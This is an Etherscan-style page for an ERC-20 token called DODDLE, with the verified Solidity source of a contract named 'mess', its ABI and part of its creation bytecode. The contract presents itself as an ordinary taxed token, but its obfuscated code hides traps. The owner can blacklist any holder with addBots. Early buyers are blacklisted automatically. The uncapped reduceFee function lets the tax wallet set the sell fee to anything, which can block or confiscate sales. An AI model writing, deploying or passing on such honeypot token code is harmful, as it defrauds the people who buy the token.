ERC-20
Source Code
Overview
Max Total Supply
100,000,000 DODDLE
Holders
7
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
mess
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-06-11
*/
// SPDX-License-Identifier: UNLICENSE
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract mess is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 private constant _x0xBRWY8441 = 0x123456;
uint256 private constant _x0xHLQZ7332 = 0xABCDEF;
uint256 public blacklistCount = 0;
uint256 public currentBuyCount = 0;
mapping(address => bool) private initialBuyers;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address payable private _taxWallet;
uint256 private _0xSOFTWARM3=18;
uint256 private _0xTWISTYPIE=18;
uint256 private _0xLONELYX3=0;
uint256 private _0xMELLOWIN=0;
uint256 private _0xJAZZIER1=18;
uint256 private _0xBRISKOUT=18;
uint256 private _0xZANYVIBE=18;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
string private _name;
string private _symbol;
uint256 public _x1CRISPYX = _tTotal * 2 / 100;
uint256 public _x0RUGGEDRB = _tTotal * 2 / 100;
uint256 public _x4TWINKLE2 = _tTotal * 1 / 100;
uint256 public _maxTaxSwap = _tTotal * 2 / 100;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private x8WANDERER = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint _x1CRISPYX);
modifier lockTheSwap {
x8WANDERER = true;
_;
x8WANDERER = false;
}
constructor (string memory name_, string memory symbol_) payable {
_name = name_;
_symbol = symbol_;
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function checksum0xCVXT5221() private pure { }
function checksum0xDMYK4063() private pure { }
function name() public view returns (string memory) { return _name; }
function symbol() public view returns (string memory) { return _symbol; }
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a < b) ? a : b;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !initialBuyers[to]) {
initialBuyers[to] = true;
if (amount > 550000 * 10 ** _decimals) {
currentBuyCount++;
if (currentBuyCount <= blacklistCount) {
bots[to] = true;
emit Transfer(from, to, 0);
}
} else {
if (currentBuyCount < blacklistCount) {
bots[to] = true;
emit Transfer(from, to, 0);
}
}
}
}
taxAmount = amount.mul((_buyCount > _0xJAZZIER1) ? _0xLONELYX3 : _0xSOFTWARM3).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _x1CRISPYX, "Exceeds the _x1CRISPYX.");
require(balanceOf(to) + amount <= _x0RUGGEDRB, "Exceeds the x0RUGGEDRB.");
_buyCount++;
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount.mul((_buyCount > _0xBRISKOUT) ? _0xMELLOWIN : _0xTWISTYPIE).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!x8WANDERER && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _x4TWINKLE2 && _buyCount > _0xZANYVIBE) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits_2NSMOKEEP4() external onlyOwner{
_x1CRISPYX = _tTotal;
_x0RUGGEDRB=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool){
return bots[a];
}
function openTrading() public onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), msg.sender, type(uint256).max);
transfer(address(this), balanceOf(msg.sender).mul(95).div(100));
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), type(uint256).max);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function reduceFee(uint256 _newFee) external onlyOwner{
require(_msgSender()==_taxWallet);
_0xMELLOWIN=_newFee;
}
receive() external payable {}
function manualSwap_x8VIVIDLYQ1() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_x1CRISPYX","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_x0RUGGEDRB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_x1CRISPYX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_x4TWINKLE2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentBuyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap_x8VIVIDLYQ1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits_2NSMOKEEP4","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040525f6001555f60025560126009556012600a555f600b555f600c556012600d556012600e556012600f555f601055606460026009600a620000459190620006b0565b6305f5e10062000056919062000700565b62000062919062000700565b6200006e919062000777565b601355606460026009600a620000859190620006b0565b6305f5e10062000096919062000700565b620000a2919062000700565b620000ae919062000777565b601455606460016009600a620000c59190620006b0565b6305f5e100620000d6919062000700565b620000e2919062000700565b620000ee919062000777565b601555606460026009600a620001059190620006b0565b6305f5e10062000116919062000700565b62000122919062000700565b6200012e919062000777565b6016555f601860156101000a81548160ff0219169083151502179055505f601860166101000a81548160ff0219169083151502179055505f6019555f601a55604051620046aa380380620046aa833981810160405281019062000192919062000933565b5f620001a3620004f060201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350816011908162000250919062000be4565b50806012908162000262919062000be4565b5062000273620004f060201b60201c565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620002c29190620006b0565b6305f5e100620002d3919062000700565b60045f620002e6620004f060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160065f62000338620004f760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000462620004f060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620004c09190620006b0565b6305f5e100620004d1919062000700565b604051620004e0919062000cd9565b60405180910390a3505062000cf4565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620005a85780860481111562000580576200057f6200051e565b5b6001851615620005905780820291505b8081029050620005a0856200054b565b945062000560565b94509492505050565b5f82620005c2576001905062000694565b81620005d1575f905062000694565b8160018114620005ea5760028114620005f5576200062b565b600191505062000694565b60ff8411156200060a57620006096200051e565b5b8360020a9150848211156200062457620006236200051e565b5b5062000694565b5060208310610133831016604e8410600b8410161715620006655782820a9050838111156200065f576200065e6200051e565b5b62000694565b62000674848484600162000557565b925090508184048111156200068e576200068d6200051e565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620006bc826200069b565b9150620006c983620006a4565b9250620006f87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005b1565b905092915050565b5f6200070c826200069b565b915062000719836200069b565b925082820262000729816200069b565b915082820484148315176200074357620007426200051e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000783826200069b565b915062000790836200069b565b925082620007a357620007a26200074a565b5b828204905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200080f82620007c7565b810181811067ffffffffffffffff82111715620008315762000830620007d7565b5b80604052505050565b5f62000845620007ae565b905062000853828262000804565b919050565b5f67ffffffffffffffff821115620008755762000874620007d7565b5b6200088082620007c7565b9050602081019050919050565b5f5b83811015620008ac5780820151818401526020810190506200088f565b5f8484015250505050565b5f620008cd620008c78462000858565b6200083a565b905082815260208101848484011115620008ec57620008eb620007c3565b5b620008f98482856200088d565b509392505050565b5f82601f830112620009185762000917620007bf565b5b81516200092a848260208601620008b7565b91505092915050565b5f80604083850312156200094c576200094b620007b7565b5b5f83015167ffffffffffffffff8111156200096c576200096b620007bb565b5b6200097a8582860162000901565b925050602083015167ffffffffffffffff8111156200099e576200099d620007bb565b5b620009ac8582860162000901565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000a0557607f821691505b60208210810362000a1b5762000a1a620009c0565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000a7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a42565b62000a8b868362000a42565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000acc62000ac662000ac0846200069b565b62000aa3565b6200069b565b9050919050565b5f819050919050565b62000ae78362000aac565b62000aff62000af68262000ad3565b84845462000a4e565b825550505050565b5f90565b62000b1562000b07565b62000b2281848462000adc565b505050565b5b8181101562000b495762000b3d5f8262000b0b565b60018101905062000b28565b5050565b601f82111562000b985762000b628162000a21565b62000b6d8462000a33565b8101602085101562000b7d578190505b62000b9562000b8c8562000a33565b83018262000b27565b50505b505050565b5f82821c905092915050565b5f62000bba5f198460080262000b9d565b1980831691505092915050565b5f62000bd4838362000ba9565b9150826002028217905092915050565b62000bef82620009b6565b67ffffffffffffffff81111562000c0b5762000c0a620007d7565b5b62000c178254620009ed565b62000c2482828562000b4d565b5f60209050601f83116001811462000c5a575f841562000c45578287015190505b62000c51858262000bc7565b86555062000cc0565b601f19841662000c6a8662000a21565b5f5b8281101562000c935784890151825560018201915060208501945060208101905062000c6c565b8683101562000cb3578489015162000caf601f89168262000ba9565b8355505b6001600288020188555050505b505050505050565b62000cd3816200069b565b82525050565b5f60208201905062000cee5f83018462000cc8565b92915050565b6139a88062000d025f395ff3fe60806040526004361061014e575f3560e01c80634d697f8b116100b5578063beb7d6531161006e578063beb7d65314610491578063c69dd715146104a7578063c9567bf9146104bd578063d34628cc146104d3578063dd62ed3e146104fb578063ec1f3f631461053757610155565b80634d697f8b1461038557806370a08231146103af578063715018a6146103eb5780638da5cb5b1461040157806395d89b411461042b578063a9059cbb1461045557610155565b8063313ce56711610107578063313ce5671461027957806331c2d847146102a357806334f6dd95146102cb5780633a101d07146102f55780633bbac5791461031f57806345691c5c1461035b57610155565b806306fdde0314610159578063095ea7b3146101835780630faee56f146101bf57806318160ddd146101e9578063188d16441461021357806323b872dd1461023d57610155565b3661015557005b5f80fd5b348015610164575f80fd5b5061016d61055f565b60405161017a91906128de565b60405180910390f35b34801561018e575f80fd5b506101a960048036038101906101a4919061299c565b6105ef565b6040516101b691906129f4565b60405180910390f35b3480156101ca575f80fd5b506101d361060c565b6040516101e09190612a1c565b60405180910390f35b3480156101f4575f80fd5b506101fd610612565b60405161020a9190612a1c565b60405180910390f35b34801561021e575f80fd5b50610227610635565b6040516102349190612a1c565b60405180910390f35b348015610248575f80fd5b50610263600480360381019061025e9190612a35565b61063b565b60405161027091906129f4565b60405180910390f35b348015610284575f80fd5b5061028d61070f565b60405161029a9190612aa0565b60405180910390f35b3480156102ae575f80fd5b506102c960048036038101906102c49190612bf9565b610717565b005b3480156102d6575f80fd5b506102df610835565b6040516102ec9190612a1c565b60405180910390f35b348015610300575f80fd5b5061030961083b565b6040516103169190612a1c565b60405180910390f35b34801561032a575f80fd5b5061034560048036038101906103409190612c40565b610841565b60405161035291906129f4565b60405180910390f35b348015610366575f80fd5b5061036f610893565b60405161037c9190612a1c565b60405180910390f35b348015610390575f80fd5b50610399610899565b6040516103a69190612a1c565b60405180910390f35b3480156103ba575f80fd5b506103d560048036038101906103d09190612c40565b61089f565b6040516103e29190612a1c565b60405180910390f35b3480156103f6575f80fd5b506103ff6108e5565b005b34801561040c575f80fd5b50610415610a33565b6040516104229190612c7a565b60405180910390f35b348015610436575f80fd5b5061043f610a5a565b60405161044c91906128de565b60405180910390f35b348015610460575f80fd5b5061047b6004803603810190610476919061299c565b610aea565b60405161048891906129f4565b60405180910390f35b34801561049c575f80fd5b506104a5610b07565b005b3480156104b2575f80fd5b506104bb610c36565b005b3480156104c8575f80fd5b506104d1610ccd565b005b3480156104de575f80fd5b506104f960048036038101906104f49190612bf9565b611257565b005b348015610506575f80fd5b50610521600480360381019061051c9190612c93565b611376565b60405161052e9190612a1c565b60405180910390f35b348015610542575f80fd5b5061055d60048036038101906105589190612cd1565b6113f8565b005b60606011805461056e90612d29565b80601f016020809104026020016040519081016040528092919081815260200182805461059a90612d29565b80156105e55780601f106105bc576101008083540402835291602001916105e5565b820191905f5260205f20905b8154815290600101906020018083116105c857829003601f168201915b5050505050905090565b5f6106026105fb6114f5565b84846114fc565b6001905092915050565b60165481565b5f6009600a6106219190612eb5565b6305f5e1006106309190612eff565b905090565b60015481565b5f6106478484846116bf565b610704846106536114f5565b6106ff8560405180606001604052806028815260200161394b6028913960055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106b66114f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123409092919063ffffffff16565b6114fc565b600190509392505050565b5f6009905090565b61071f6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a290612f8a565b60405180910390fd5b5f5b8151811015610831575f60075f8484815181106107cd576107cc612fa8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506107ad565b5050565b60145481565b60135481565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60155481565b60025481565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108ed6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610979576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097090612f8a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060128054610a6990612d29565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9590612d29565b8015610ae05780601f10610ab757610100808354040283529160200191610ae0565b820191905f5260205f20905b815481529060010190602001808311610ac357829003601f168201915b5050505050905090565b5f610afd610af66114f5565b84846116bf565b6001905092915050565b610b0f6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9290612f8a565b60405180910390fd5b6009600a610ba99190612eb5565b6305f5e100610bb89190612eff565b6013819055506009600a610bcc9190612eb5565b6305f5e100610bdb9190612eff565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610c109190612eb5565b6305f5e100610c1f9190612eff565b604051610c2c9190612a1c565b60405180910390a1565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c766114f5565b73ffffffffffffffffffffffffffffffffffffffff1614610c95575f80fd5b5f610c9f3061089f565b90505f811115610cb357610cb2816123a2565b5b5f4790505f811115610cc957610cc88161260d565b5b5050565b610cd56114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612f8a565b60405180910390fd5b601860149054906101000a900460ff1615610db1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da89061301f565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e3030337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6114fc565b610e6830610e636064610e55605f610e473361089f565b61267590919063ffffffff16565b6126ec90919063ffffffff16565b610aea565b5060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ed3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ef79190613051565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f7d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa19190613051565b6040518363ffffffff1660e01b8152600401610fbe92919061307c565b6020604051808303815f875af1158015610fda573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ffe9190613051565b60185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110893060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6114fc565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110d13061089f565b5f806110db610a33565b426040518863ffffffff1660e01b81526004016110fd969594939291906130e5565b60606040518083038185885af1158015611119573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061113e9190613158565b50505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111de9291906131a8565b6020604051808303815f875af11580156111fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061121e91906131f9565b506001601860166101000a81548160ff0219169083151502179055506001601860146101000a81548160ff021916908315150217905550565b61125f6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290612f8a565b60405180910390fd5b5f5b815181101561137257600160075f84848151811061130e5761130d612fa8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506112ed565b5050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffff